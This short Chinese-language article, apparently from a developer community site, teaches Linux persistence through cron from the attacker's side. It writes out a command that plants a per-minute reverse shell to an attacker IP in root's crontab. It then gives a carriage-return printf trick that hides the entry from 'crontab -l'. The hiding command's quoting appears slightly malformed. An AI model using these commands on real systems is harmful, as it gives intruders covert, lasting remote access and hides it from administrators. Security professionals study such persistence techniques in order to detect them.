Linux中的计划任务可以让系统周期性地运行所指定的程序或命令,攻击者可以利用这个特性让系统周期性运行恶意程序或者命令。计划任务具体使用方法参考前文,这里只讲述攻击者如何利用该技术进行权限维持。
首先,使用命令service cron status来检查系统中的计划任务服务是否正常运行,执行结果如图1-1所示,running则代表正在运行。然后,使用命令crontab -l来查看当前用户在系统中创建的计划任务,执行结果如图1-2所示。
在Linux中“万物皆文件”,crontab -l命令实际上是调用“cat /var/spool/cron/crontabs/当前登录用户的用户名”。例如当前使用的用户为root,那么执行crontab -l命令其实是执行了cat /var/spool/cron/crontabs/root命令,如图1-3所示。所以,我们也可以通过直接编辑/var/spool/cron/crontabs/root来编辑计划任务。
那么攻击者可以执行命令echo "*/1 * * * * bash -i >& /dev/tcp/192.168.31.111/10029 0>&1" > /var/spool/cron/crontabs/root,在计划任务中写入一个每分钟建立回连会话的语句,这样可以达到权限维持的效果。但是这样直接写入会非常容易被发现,只需执行crontab -l就可以看到刚刚写入的命令,如图1-4所示。
前面已经说过执行crontab -l其实就是执行“cat /var/spool/cron/crontabs/当前登录用户的用户名”,而cat命令自身存在一定缺陷,它会自动识别转义字符,比如执行命令printf "123\r" > 1.txt,执行完成后使用cat命令读取该文件,如图1-5所示,可以看到无法读取123,只有Vim才可以看见文件的内容,如图1-6所示。那么,攻击者可以利用这个特性,写入一个无法被crontab -l获取的计划任务。
执行命令(crontab -l;printf "*/1 * * * * /tmp/1.sh;\rno crontab for" whoami`%100c\n")|crontab -,执行结果如图1-7所示,可以发现获取的内容没不存在计划任务,使用Vim打开该文件,结果如图1-8所示。通过这样的方法可以隐藏计划任务。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。